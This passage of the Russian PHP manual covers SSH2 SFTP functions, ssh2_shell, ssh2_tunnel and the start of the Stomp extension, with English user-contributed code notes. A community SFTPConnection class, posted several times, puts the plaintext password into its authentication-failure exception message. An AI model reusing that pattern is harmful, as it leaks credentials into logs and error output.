(PECL ssh2 >= 0.9.0)

ssh2_sftp_rename — Переименовывает файл

Описание

ssh2_sftp_rename(resource $sftp, string $from, string $to): bool

Переименовывает файл на сервере.

Список параметров

sftp

Ресурс SSH2 SFTP, открытый с помощью ssh2_sftp().

from

Исходный файл.

to

Новое имя, которое заменит from.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Переименовывание файла

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_rename($sftp, '/home/username/oldname', '/home/username/newname');
?>

Смотрите также

  • rename() - Переименовывает файл или директорию

User Contributed Notes

Andr Ribas 28-Mar-2017 06:24
For some unknown reason we weren't able to rename the remote file using sftp_rename function. Instead we've used the following code:

<?php
    $connection = ssh2_connect('localhost', 22);
    ssh2_auth_password($connection, 'username', 'password');
    $sftp = ssh2_sftp($connection);

    $fromSftpUrl = "ssh2.sftp://{$sftp}/{$path_from}";
    $toSftpUrl = "ssh2.sftp://{$sftp}/{$path_to}";

    $success = rename($fromSftpUrl, $toSftpUrl);
?>
thomas dot hebinck at digionline dot de 10-Nov-2011 09:57
An already existing file will NOT be overwritten.

http://www.openssh.com/txt/draft-ietf-secsh-filexfer-02.txt

"It is an error if there already exists a file with the name specified by newpath."


Удаляет директорию

  • « ssh2_sftp_rename
  • ssh2_sftp_stat »
  • PHP Manual
  • Функции SSH2
  • Удаляет директорию

ssh2_sftp_rmdir

(PECL ssh2 >= 0.9.0)

ssh2_sftp_rmdir — Удаляет директорию

Описание

ssh2_sftp_rmdir(resource $sftp, string $dirname): bool

Удаляет директорию на сервере.

Работает аналогично rmdir() с обёрткой ssh2.sftp://.

Список параметров

sftp

Ресурс SSH2 SFTP, открытый с помощью ssh2_sftp().

dirname

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Удаление директории на сервере

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_rmdir($sftp, '/home/username/deltodel');
/* Или так: rmdir("ssh2.sftp://$sftp/home/username/dirtodel"); */
?>

Смотрите также

  • rmdir() - Удаляет директорию
  • ssh2_sftp_mkdir() - Создать директорию

User Contributed Notes

There are no user contributed notes for this page.


Информация о файле

  • « ssh2_sftp_rmdir
  • ssh2_sftp_symlink »
  • PHP Manual
  • Функции SSH2
  • Информация о файле

ssh2_sftp_stat

(PECL ssh2 >= 0.9.0)

ssh2_sftp_stat — Информация о файле

Описание

ssh2_sftp_stat(resource $sftp, string $path): array

Информация о файле на сервере с учётом символических ссылок.

Функция работает аналогично stat() с обёрткой ssh2.sftp:// и возвращает такие же значения.

Список параметров

sftp

Ресурс SSH2 SFTP, открытый с помощью ssh2_sftp().

path

Возвращаемые значения

Список возвращаемых значений смотрите в описании функции stat().

Примеры

Пример #1 Информация о файле

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);
$statinfo = ssh2_sftp_stat($sftp, '/path/to/file');

$filesize = $statinfo['size'];
$group = $statinfo['gid'];
$owner = $statinfo['uid'];
$atime = $statinfo['atime'];
$mtime = $statinfo['mtime'];
$mode = $statinfo['mode'];
?>

Смотрите также

  • ssh2_sftp_lstat() - Информация о символической ссылке
  • lstat() - Возвращает информацию о файле или символической ссылке
  • stat() - Возвращает информацию о файле

User Contributed Notes

gmmarcus at outlook dot my 03-Aug-2014 07:32
Just to add further, that was for a php 5.3.5 box running a 64 bit linux os....
i havent tested on other versions yet.

But there is quite a lot of noise about this in php bug list.
gmmarcus at outlook dot my 03-Aug-2014 07:17
Pls note that stat does not seem to give proper filesizes even with 64 bit php if files > 2Gb
Darren Wolfe 08-Jun-2012 05:43
As with stat(), the returned size of the file may be wrong if it is over 2GB.


Создать символическую ссылку

  • « ssh2_sftp_stat
  • ssh2_sftp_unlink »
  • PHP Manual
  • Функции SSH2
  • Создать символическую ссылку

ssh2_sftp_symlink

(PECL ssh2 >= 0.9.0)

ssh2_sftp_symlink — Создать символическую ссылку

Описание

ssh2_sftp_symlink(resource $sftp, string $target, string $link): bool

Создаёт символическую ссылку с именем link, указывающую на объект target.

Список параметров

sftp

Ресурс SSH2 SFTP, открытый с помощью ssh2_sftp().

target

Объект, на который будет указывать ссылка.

link

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Создание символической ссылки

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_symlink($sftp, '/var/run/mysql.sock', '/tmp/mysql.sock');
?>

Смотрите также

  • ssh2_sftp_readlink() - Возвращает объект по символической ссылке
  • symlink() - Создаёт символическую ссылку

User Contributed Notes

There are no user contributed notes for this page.


Удалить файл на сервере

  • « ssh2_sftp_symlink
  • ssh2_sftp »
  • PHP Manual
  • Функции SSH2
  • Удалить файл на сервере

ssh2_sftp_unlink

(PECL ssh2 >= 0.9.0)

ssh2_sftp_unlink — Удалить файл на сервере

Описание

ssh2_sftp_unlink(resource $sftp, string $filename): bool

Удаляет файл на сервере.

Список параметров

sftp

Ресурс SSH2 SFTP, открытый с помощью ssh2_sftp().

filename

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Удаление файла

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_unlink($sftp, '/home/username/stale_file');
?>

Смотрите также

  • unlink() - Удаляет файл

User Contributed Notes

pfortin at expertime dot com 15-Apr-2020 07:53
For some reasons, sometime it's not working. You can do like this instead:

unlink('ssh2.sftp://' . intval($sftp) . ssh2_sftp_realpath($sftp,".") . "./".$dstFile);
andrew at pause dot ca 29-Jan-2015 03:05
If you've already got a filepath of the form "ssh2.sftp://$sftp/path/to/file" you can just use unlink() on that path


Инициализировать подсистему SFTP

  • « ssh2_sftp_unlink
  • ssh2_shell »
  • PHP Manual
  • Функции SSH2
  • Инициализировать подсистему SFTP

ssh2_sftp

(PECL ssh2 >= 0.9.0)

ssh2_sftp — Инициализировать подсистему SFTP

Описание

ssh2_sftp(resource $session): resource|false

Запрашивает подсистему SFTP из уже открытого соединения SSH2.

Список параметров

session

Идентификатор соединения SSH, полученный из ssh2_connect().

Возвращаемые значения

Этот метод возвращает ресурс SSH2 SFTP для использования в остальных функциях ssh2_sftp_*() и обёртке ssh2.sftp:// для fopen или false в случае возникновения ошибки.

Примеры

Пример #1 Открытие файла через SFTP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);

$stream = fopen('ssh2.sftp://' . intval($sftp) . '/path/to/file', 'r');
?>

Смотрите также

  • ssh2_scp_recv() - Запрос файла через SCP
  • ssh2_scp_send() - Отправка файла через SCP

User Contributed Notes

Youz 23-May-2019 07:36
Adding a function to previous class to connect with key instead of user/password

<?php
public function loginWithKey($username, $publicKey, $privateKey, $passphrase = null)
  {
    if (!@ssh2_auth_pubkey_file($this->connection, $username, $publicKey, $privateKey, $passphrase)) {
      throw new Exception("Could not authenticate with given keys or passphrase");
    }

    $this->sftp = @ssh2_sftp($this->connection);
    if (!$this->sftp) {
      throw new Exception("Could not initialize SFTP subsystem.");
    }
  }

?>
php at kanariepiet dot com 30-Mar-2018 08:29
Remember to use stream_set_chunk_size() on the resource for performance reasons, especially if you're uploading large files on links with high latency.

SFTP can only send 32K of data in one packet and libssh2 will wait for a response after each packet sent. So with a default chunk size of 8K the upload will be very slow.
If you set the chunk size to for example 1Mb, libssh2 will send that chunk in multiple packets of 32K and then wait for a response, making the upload much faster.
(see man libssh2_sftp_write for more details)

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);
$stream = fopen("ssh2.sftp://$sftp/path/to/file", 'w');

stream_set_chunk_size($stream, 1024*1024);
fwrite($stream, $data);
?>
Jarrod Christman 05-Apr-2017 01:06
David's code works wonderfully except for one thing, it wouldn't upload a file until I placed a forward slash after '$sftp'

public function uploadFile($local_file, $remote_file)
    {
        $sftp = $this->sftp;
        // Original
        // "ssh2.sftp://$sftp$remote_file"
        $stream = @fopen("ssh2.sftp://$sftp/$remote_file", 'w');

        if (! $stream)
            throw new Exception("Could not open file: $remote_file");

        $data_to_send = @file_get_contents($local_file);
        if ($data_to_send === false)
            throw new Exception("Could not open local file: $local_file.");

        if (@fwrite($stream, $data_to_send) === false)
            throw new Exception("Could not send data from file: $local_file.");

        @fclose($stream);
    }
btafoya at briantafoya dot com 22-Mar-2017 03:00
Here is a modified SFTPConnection class previously posted that returns a recursive directory scanFilesystem method.

<?php
class SFTPConnection
{
    private $connection;
    private $sftp;

    public function __construct($host, $port=22)
    {
        $this->connection = @ssh2_connect($host, $port);
        if (! $this->connection)
            throw new Exception("Could not connect to $host on port $port.");
    }

    public function login($username, $password)
    {
        if (! @ssh2_auth_password($this->connection, $username, $password))
            throw new Exception("Could not authenticate with username $username " . "and password $password.");
        $this->sftp = @ssh2_sftp($this->connection);
        if (! $this->sftp)
            throw new Exception("Could not initialize SFTP subsystem.");
    }

    public function uploadFile($local_file, $remote_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'w');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $data_to_send = @file_get_contents($local_file);
        if ($data_to_send === false)
            throw new Exception("Could not open local file: $local_file.");
        if (@fwrite($stream, $data_to_send) === false)
            throw new Exception("Could not send data from file: $local_file.");
        @fclose($stream);
    }

    function scanFilesystem($remote_file) {
        $sftp = $this->sftp;
        $dir = "ssh2.sftp://$sftp$remote_file";
        $tempArray = array();

        if (is_dir($dir)) {
            if ($dh = opendir($dir)) {
                while (($file = readdir($dh)) !== false) {
                    $filetype = filetype($dir . $file);
                    if($filetype == "dir") {
                        $tmp = $this->scanFilesystem($remote_file . $file . "/");
                        foreach($tmp as $t) {
                            $tempArray[] = $file . "/" . $t;
                        }
                    } else {
                        $tempArray[] = $file;
                    }
                }
                closedir($dh);
            }
        }

        return $tempArray;
    }

    public function receiveFile($remote_file, $local_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'r');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $contents = fread($stream, filesize("ssh2.sftp://$sftp$remote_file"));
        file_put_contents ($local_file, $contents);
        @fclose($stream);
    }

    public function deleteFile($remote_file){
        $sftp = $this->sftp;
        unlink("ssh2.sftp://$sftp$remote_file");
    }
}
?>
webakiro at gmail dot com 10-Feb-2016 03:15
If you wish to store once the protocol + ressource used ("ssh2.sftp://$sftp";)
There's a little trick to know...
This won't work :

<?php
function connect(){
    $connection = ssh2_connect('shell.example.com', 22);
    ssh2_auth_password($connection, 'username', 'password');
    $sftp = ssh2_sftp($connection);
    return "ssh2.sftp://$sftp";
}
$remote = connect();
is_file( $remote."/path/to/file");
// Warning
// Message: is_file(): ## is not a valid SSH2 SFTP resource
?>

You need to have $sftp still avaible at moment the function (is_file, filesize, fopen, ...) uses it
Otherwise, I guess the GC cleans it up and closes the ssh2_stfp connection
That's why this work :

<?php
function connect(){
    //...
    global $sftp;
    $sftp = ssh2_sftp($connection);
    return "ssh2.sftp://$sftp";
}
$remote = connect();
is_file( $remote."/path/to/file");

// Or way better :

class myClass {
    public function connect(){
        //...
        $this->sftp     = ssh2_sftp($connection);
        $this->remote   = "ssh2.sftp://".$this->sftp;
    }
    public function test(){
        is_file( $this->remote."/path/to/file");
    }
}
$obj = new myClass();
$obj->connect();
$obj->test();
?>
Josh 25-May-2015 08:47
Note that you must enter the full wrapper URI order for functions that accept those parameters to work properly. For example, this (which is referenced more than once in other comments) does not work:

while (false !== ($file = readdir($handle))) if (is_dir($file)) { /* ... */ }

This does work:

$sc = ssh2_sftp(...);
while (false !== ($file = readdir($handle))) if (is_dir("ssh2.sftp://$sc/$file")) { /* ... */ }

You need to pass the "path" into these functions as an fopen() wrapper URI.
Jaybee 03-Apr-2014 10:02
When uploading (writing) a file you must use an absolute path, not a relative one.

If, like me, you want to use a relative path, you can use the following code:

$fh=fopen("ssh2.sftp://$sftp".ssh2_sftp_realpath($sftp,".")."/fileinmyhomedir.txt");
sandipshah at vthrive dot com 16-Nov-2009 03:05
In

$stream = fopen("ssh2.sftp://$sftp/path/to/file", 'r');

please make sure that you are specifying the "absolute" path to a file.

If not, you'll get errors like

"Unable to open file ..."

The reasoning is simple ... ssh2.sftp://$sftp points to the "root" directory on the remote server, where, most likely, one does not have access.

It is necessary to point it to your "home" directory.  For example, "ssh2.sftp://$sftp/home/username/filename" ... where "/home/username" is where your home directory is.
bas weerman 08-Jul-2008 03:13
I changed the read function to:

    public function receiveFile($remote_file, $local_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'r');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $size = $this->getFileSize($remote_file);
        $contents = '';
        $read = 0;
        $len = $size;
        while ($read < $len && ($buf = fread($stream, $len - $read))) {
          $read += strlen($buf);
          $contents .= $buf;
        }
        file_put_contents ($local_file, $contents);
        @fclose($stream);
    }

    public function getFileSize($file){
      $sftp = $this->sftp;
        return filesize("ssh2.sftp://$sftp$file");
    }
bas weerman 14-May-2008 12:22
I added some functionality for scanning the filesystem and receiving and deleting files.

class SFTPConnection
{
    private $connection;
    private $sftp;

    public function __construct($host, $port=22)
    {
        $this->connection = @ssh2_connect($host, $port);
        if (! $this->connection)
            throw new Exception("Could not connect to $host on port $port.");
    }

    public function login($username, $password)
    {
        if (! @ssh2_auth_password($this->connection, $username, $password))
            throw new Exception("Could not authenticate with username $username " . "and password $password.");
        $this->sftp = @ssh2_sftp($this->connection);
        if (! $this->sftp)
            throw new Exception("Could not initialize SFTP subsystem.");
    }

    public function uploadFile($local_file, $remote_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'w');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $data_to_send = @file_get_contents($local_file);
        if ($data_to_send === false)
            throw new Exception("Could not open local file: $local_file.");
        if (@fwrite($stream, $data_to_send) === false)
            throw new Exception("Could not send data from file: $local_file.");
        @fclose($stream);
    }

        function scanFilesystem($remote_file) {
              $sftp = $this->sftp;
            $dir = "ssh2.sftp://$sftp$remote_file";
              $tempArray = array();
            $handle = opendir($dir);
          // List all the files
            while (false !== ($file = readdir($handle))) {
            if (substr("$file", 0, 1) != "."){
              if(is_dir($file)){
//                $tempArray[$file] = $this->scanFilesystem("$dir/$file");
               } else {
                 $tempArray[]=$file;
               }
             }
            }
           closedir($handle);
          return $tempArray;
        }

    public function receiveFile($remote_file, $local_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'r');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $contents = fread($stream, filesize("ssh2.sftp://$sftp$remote_file"));
        file_put_contents ($local_file, $contents);
        @fclose($stream);
    }

    public function deleteFile($remote_file){
      $sftp = $this->sftp;
      unlink("ssh2.sftp://$sftp$remote_file");
    }
}
duke1 at drakkon dot net 23-Apr-2008 08:38
if anyone is interested on how to get a directory listing:
$SSH_CONNECTION= ssh2_connect('shell.example.com', 22);
ssh2_auth_password($SSH_CONNECTION, 'username', 'password');
//-------------------------------------------------------------------
//this function finds all files within  given directory and returns them
function scanFilesystem($dir) {
    $tempArray = array();
    $handle = opendir($dir);
  // List all the files
    while (false !== ($file = readdir($handle))) {
    if (substr("$file", 0, 1) != "."){
           if(is_dir($file)){
            $tempArray[$file]=scanFilesystem("$dir/$file");
        } else {
            $tempArray[]=$file;
        }
    }
    }
   closedir($handle);
  return $tempArray;
}

//-------------------------------------------------------------------
$sftp = ssh2_sftp($SSH_CONNECTION);

//code to get listing of all OUTGOING files
$dir = "ssh2.sftp://$sftp/outgoing";
$outgoing = scanFilesystem($dir);
sort($outgoing);
print_r($outgoing);
Curtis Wyatt 28-Jan-2008 07:58
The sftp class provided by David Barnes works great.  However, if you get errors about fopen and it failing to open a stream, try the fully qualified path on the remote server.

For example, if you are uploading a file to /Users/username/Sites/file.txt this may not work:

<?php
try {
    $sftp = new SFTPConnection("localhost", 22);
    $sftp->login("username", "password");
    $sftp->uploadFile("/tmp/to_be_sent", "Sites/file.txt");
}
catch (Exception $e) {
    echo $e->getMessage() . "\n";
}
?>

but this will:

<?php
try {
    $sftp = new SFTPConnection("localhost", 22);
    $sftp->login("username", "password");
    $sftp->uploadFile("/tmp/to_be_sent", "/Users/username/Sites/file.txt");
}
catch (Exception $e) {
    echo $e->getMessage() . "\n";
}
?>

Don't assume that since you are connecting as that user that you are starting in its home space.

Another possible option is that you need to use http://us.php.net/manual/en/function.ssh2-sftp-mkdir.php first to make the directory if it does not exist already, and then upload the file into it.
David Barnes 15-Nov-2006 03:08
Here is an example of how to send a file with SFTP:

<?php

class SFTPConnection
{
    private $connection;
    private $sftp;

    public function __construct($host, $port=22)
    {
        $this->connection = @ssh2_connect($host, $port);
        if (! $this->connection)
            throw new Exception("Could not connect to $host on port $port.");
    }

    public function login($username, $password)
    {
        if (! @ssh2_auth_password($this->connection, $username, $password))
            throw new Exception("Could not authenticate with username $username " .
                                "and password $password.");

        $this->sftp = @ssh2_sftp($this->connection);
        if (! $this->sftp)
            throw new Exception("Could not initialize SFTP subsystem.");
    }

    public function uploadFile($local_file, $remote_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'w');

        if (! $stream)
            throw new Exception("Could not open file: $remote_file");

        $data_to_send = @file_get_contents($local_file);
        if ($data_to_send === false)
            throw new Exception("Could not open local file: $local_file.");

        if (@fwrite($stream, $data_to_send) === false)
            throw new Exception("Could not send data from file: $local_file.");

        @fclose($stream);
    }
}

try
{
    $sftp = new SFTPConnection("localhost", 22);
    $sftp->login("username", "password");
    $sftp->uploadFile("/tmp/to_be_sent", "/tmp/to_be_received");
}
catch (Exception $e)
{
    echo $e->getMessage() . "\n";
}

?>


Запрашивает интерактивный терминал

  • « ssh2_sftp
  • ssh2_tunnel »
  • PHP Manual
  • Функции SSH2
  • Запрашивает интерактивный терминал

ssh2_shell

(PECL ssh2 >= 0.9.0)

ssh2_shell — Запрашивает интерактивный терминал

Описание

ssh2_shell(
resource $session,
string $termtype = "vanilla",
?array $env = null,
int $width = 80,
int $height = 25,
int $width_height_type = SSH2_TERM_UNIT_CHARS
): resource|false

Открывает терминал к удалённому серверу и выделяет ему поток.

Список параметров

session

Идентификатор соединения SSH, полученный из ssh2_connect().

termtype

Тип терминала termtype. Должен соответствовать одному из перечисленных в серверном файле /etc/termcap.

env

env может содержать ассоциативный массив пар имя/значение, представляющий переменные окружения, которые надо выставить в терминале.

width

Ширина виртуального терминала.

height

Высота виртуального терминала.

width_height_type

width_height_type должен быть SSH2_TERM_UNIT_CHARS или SSH2_TERM_UNIT_PIXELS.

Возвращаемые значения

Возвращает ресурс (resource) потока в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Запрос интерактивного терминала

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_shell($connection, 'vt102', null, 80, 24, SSH2_TERM_UNIT_CHARS);
?>

Смотрите также

  • ssh2_exec() - Выполнение команды на удалённом сервере
  • ssh2_tunnel() - Открыть туннель через удалённый сервер
  • ssh2_fetch_stream() - Получение расширенного потока данных

User Contributed Notes

nogueiraconsultoria at gmail dot com 29-Jul-2020 01:25
I get it a work script for multiple commands. This script return  output of each command on array, indexed by the "command".

Att: ssh2_cmd() dont work for multiple commands, thus ssh2_shell(). Attencion for de EOL on witch type of SO. I used "\n" at the end of witch command, but maybe other options like "<br>, ; , etc);

        $connection = ssh2_connect($input_host_ip, 22);

        if (false === $connection) {
                error_log("ERROR funcao SSH_UMTELECOM: Connection failed!\n",3,$log_file);
                exit();
        }else{
                if($debugar){error_log("SSH_UMTELECOM: Connection success to $input_host_ip!\n",3,$log_file);}

                $auth = @ssh2_auth_password($connection, $user, $pass);
                if (false === $auth) {
                        error_log("ERROR funcao SSH_UMTELECOM: Authentication failed on $input_host_ip (user: $user)!\n",3,$log_file);
                        exit();
                }else{
                        if($debugar){error_log("SSH_UMTELECOM: Authentication success to $input_host_ip!\n",3,$log_file);}

                        error_log("Iniciando Stream: $connection\n",3,$log_file);
                        $output_array = array();
                        $shell = ssh2_shell($connection, 'vt100');

                        foreach($input_cmd as $cmd){
                                if($debugar){error_log("shell: $cmd\n",3,$log_file);}
                                $output_stream = ""; # Limpa variavel para cada interacao
                                fwrite($shell, "$cmd\n"); # Nao esquecer o "\n" ao termino de cada comando
                                #stream_set_blocking($shell, true); # Nao funciona, aguarda infinitamente
                                sleep(2); # 2 segundos para redes com alta latencia
                                while($output_streams = fgets($shell)){
                                        $output_stream .= $output_streams;
                                        flush();# Limpa o conteudo para a proxima interacao
                                }
                                $output_array[] = $output_stream; # Reune cada retorno em seu respectivo comando
                        }
                        fclose($shell); # Gracius logout from shell
                }# Fim if false === $auth
        }# Fim if false === $conenection
tuxedobob at mac dot com 08-Apr-2014 08:37
Keep in mind that when using ssh2_shell, the remote system's EOL may not be the same as PHP's EOL, so it may not be safe to use PHP_EOL. The native EOL for Windows is \r\n, while Unix is typically merely \n, and classic Mac for some reason is \r.

If you're running PHP on Windows (\r\n) and sshing into a Unix box (\n) you're going to end up sending extra lines. My experience so far is that it just acts as though you typed nothing, which may cause issues with password prompts.

Oh, and \n\r? Don't do that. Nobody does that.
tsschulz at gmx dot net 11-Jan-2011 08:07
In my case the ssh2_shell doesn't work every time. There were many problems:
- If I use stream_get_contents, the command(s) never executed
- with while ($buf = fgets...) the loop never stops
- without sleep(1) before stream_set_blocking, the command wasn't execute every time. Anyone knows why?
That's what I made, and it works - but I think it isn't what it should be:
<?php
        $strCommand = 'tar -C /path/to/extract -xjf /path/from/file.tar.bz2';
        $sshStream = ssh2_shell($this->sshSession, 'xterm', null, 120, 24, SSH2_TERM_UNIT_CHARS);
        fwrite($sshStream, $strCommand . PHP_EOL);
        sleep(1);
        stream_set_blocking($sshStream, true);
        $sshUntarRetval = "";
        while ($buf = fgets($sshStream,4096)) {
        flush();
            $sshUntarRetval .= $buf;
            if (strpos($buf, 'tar -C') !== false)
            {
                break;
            }
        }
        fclose($sshStream);
?>
stefanov at uk dot ibm dot com 02-May-2008 08:26
Do not use \n to end the command. Some server will fail to process. Use always the standard for PHP end of line: PHP_EOL

'suri at suribala dot com"'s example should be modified as follows (also change the double quotes to single, for better performance):

<?php

$con=ssh2_connect('192.168.0.1', 22);
ssh2_auth_password($con, 'user', 'password');
$shell=ssh2_shell($con, 'xterm');
fwrite( $shell, 'cd /dir_one;'.PHP_EOL);
fwrite( $shell, 'ls -la;'.PHP_EOL);
fwrite( $shell, 'cd /dir_two;'.PHP_EOL);
fwrite( $shell, 'ls -la;'.PHP_EOL);

?>

Cheers,

Pimmy
josh at hydril dot com 12-Jul-2007 04:49
To run a shell script with all the variables that you would have when logged in interactively add bash -l or sh --login infront of your command.  The script I use creates a shell script, copies the script to the box with ssh2_scp_send, then executes the script with ssh2_exec.  Hope this helps somebody.

<?php

//Example

$script1 = "bash -l /etc/rc.d/rc.httpd restart";

$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_exec($connection, $script1);
?>
vgopu1 at gmail dot com 09-Jul-2007 01:17
Hi,

we could also use shell_exec to execute multiple related commands
separated by semicolon (;).

 And I figured out  problem that sometimes arise related to the execution of complex java c/c++ programs. All we need to do is to set the required environment variables. I have a environment variable in .bash_profile. This variable would be set when I log into my account normally through shell. But when we use ssh2_connect(), the environment variables in the .bash_profile are not set, all we need to do is export the required environment variables with shell_exec();

example:

$conn = ssh2_connect($ipaddress);
ssh2_auth_password($conn,$username,$passwd);
$cmd1="/path/to/program1";
$cmd2="/path/to/program2";
$env1="export Variable_name1=path1";
$env2="export Variable_name2=path2"
$stream = ssh2_exec($connection,"$env1; $env2; $cmd1; $cmd2");//this would execute all the //commands and return
// stream
stream_set_blocking($stream, true);
while($o=fgets($stream)){
echo $o.'<br>';
}

...
...

Thanks,
Vikram Gopu .
http:\\my.lsu.edu/vgopu1
galvao at galvao dot eti dot br 18-Dec-2006 09:03
In response to webmaster at spectreanime dot com:

"For some obscur reasons, just after ur command, u need to make a sleep to be sure, that the command has reached the server and is running"

Actually what you must do is set the blocking of the string to true, so it waits until the server sends data to the STDOUT before echoing it.

So, instead of:

sleep(1);

Just do:

stream_set_blocking($stdio, true);

Best regards,
webmaster at spectreanime dot com 08-Jun-2005 01:38
// Connection to SSH server
        echo "Connexion SSH ";
        if (!($resource=@ssh2_connect("192.168.0.1"))) {
                echo "[FAILED]<br />";
                exit(1);
        }
        echo "[OK]<br />";

        // Authentification by login/passwd
        echo "Authentification ";
        if (!@ssh2_auth_password($resource,"root","your_password")) {
                echo "[FAILED]<br />";
                exit(1);
        }
        echo "[OK]<br />";

        // We need a shell
        echo "Shell stdio ";
        if (!($stdio = @ssh2_shell($resource,"xterm"))) {
                echo "[FAILED]<br />";
                exit(1);
        }
        echo "[OK]<br />";

        // Execution of any command
        // Be careful to add an '\n' at the  end of the command
        $command = "/bin/ls /tmp\n";
        fwrite($stdio,$command);

        // IMPORTANT
        // For some obscur reasons, just after ur command, u need to make a sleep to be sure, that the command has reached the server and is running
        sleep(1);

        // Then u can fetch the stream to see what happens on stdio
        while($line = fgets($stdio)) {
                flush();
                echo $line."<br />";
        }

        // It's always cleaner to close all stream
        fclose($stdio);

I truly hope i'll help someone :)
suri at suribala dot com 14-Feb-2005 05:03
Using ssh_exec, one could execute only one command at a time. However, ssh_shell, offers greater flexibility.

Here is an example:

<?php

$con=ssh2_connect('192.168.0.1', 22);
ssh2_auth_password($con, "user", "password");
$shell=ssh2_shell($con, 'xterm');
fwrite( $shell, "cd /dir_one\n");
fwrite( $shell, "ls -la\n");
fwrite( $shell, "cd /dir_two\n");
fwrite( $shell, "ls -la\n");

?>

Thanks Sara for your implementation and your help !


Открыть туннель через удалённый сервер

  • « ssh2_shell
  • Stomp »
  • PHP Manual
  • Функции SSH2
  • Открыть туннель через удалённый сервер

ssh2_tunnel

(PECL ssh2 >= 0.9.0)

ssh2_tunnel — Открыть туннель через удалённый сервер

Описание

ssh2_tunnel(resource $session, string $host, int $port): resource

Открывает поток сокета к произвольную хосту/порту с помощью подключённого в данный момент сервера SSH.

Список параметров

session

Идентификатор соединения SSH, полученный из ssh2_connect().

host

port

Возвращаемые значения

Примеры

Пример #1 Открытие туннеля по произвольному хосту

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_pubkey_file($connection, 'username', 'id_dsa.pub', 'id_dsa');

$tunnel = ssh2_tunnel($connection, '10.0.0.101', 12345);
?>

Смотрите также

  • ssh2_connect() - Подключение к SSH-серверу
  • fsockopen() - Открывает соединение с интернет-сокетом или доменным сокетом Unix

User Contributed Notes

marc 26-Aug-2015 07:28
ssh2_tunnel returns a socket stream (e.g, the output of fsockopen). You can use something basic like this to send a line break and get any output back to test that it's working:

fwrite($tunnel, "\n");
while (!feof($tunnel)) {
      echo fgets($tunnel, 128);
}

Just a reminder: you can't currently use the socket with any of the cURL functions.


Stomp Client

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Примеры
  • Функции Stomp
    • stomp_connect_error — Возвращает строку с описанием последней ошибки подключения
    • stomp_version — Возвращает текущую версию модуля Stomp
  • Stomp — Класс Stomp
    • Stomp::abort — Отменяет выполнение текущей транзакции
    • Stomp::ack — Подтверждает получение сообщения
    • Stomp::begin — Создаёт транзакцию
    • Stomp::commit — Выполняет текущую транзакцию
    • Stomp::__construct — Открывает соединение
    • Stomp::__destruct — Закрывает Stomp-соединение
    • Stomp::error — Возвращает последнюю ошибку Stomp
    • Stomp::getReadTimeout — Возвращает время максимального ожидания операции чтения
    • Stomp::getSessionId — Возвращает идентификатор текущей сессии Stomp
    • Stomp::hasFrame — Проверяет, возможно ли чтение фрейма
    • Stomp::readFrame — Выполняет операцию чтения следующего фрейма
    • Stomp::send — Отправляет сообщение
    • Stomp::setReadTimeout — Устанавливает предельное время ожидания операции чтения
    • Stomp::subscribe — Регистрирует подписку на указанную рассылку
    • Stomp::unsubscribe — Удаляет существующую подписку
  • StompFrame — Класс StompFrame
    • StompFrame::__construct — Конструктор
  • StompException — Класс StompException
    • StompException::getDetails — Возвращает сведения об исключении

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль позволяет PHP приложениям взаимодействовать с любыми Stomp-совместимыми брокерами сообщений (Message Broker) через лёгкие объектно-ориентированные или процедурные интерфейсы. » Официальный сайт Stomp

User Contributed Notes

There are no user contributed notes for this page.


Требования

» OpenSSL >= 0.9.6 и модуль openssl может также потребоваться для использования stomp через SSL.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/stomp

User Contributed Notes

devin 11-Dec-2015 08:36
If you are encountering an error when building the Stomp extension:

pecl install stomp
OpenSSL install prefix (no to disable SSL support) [/usr] : /usr

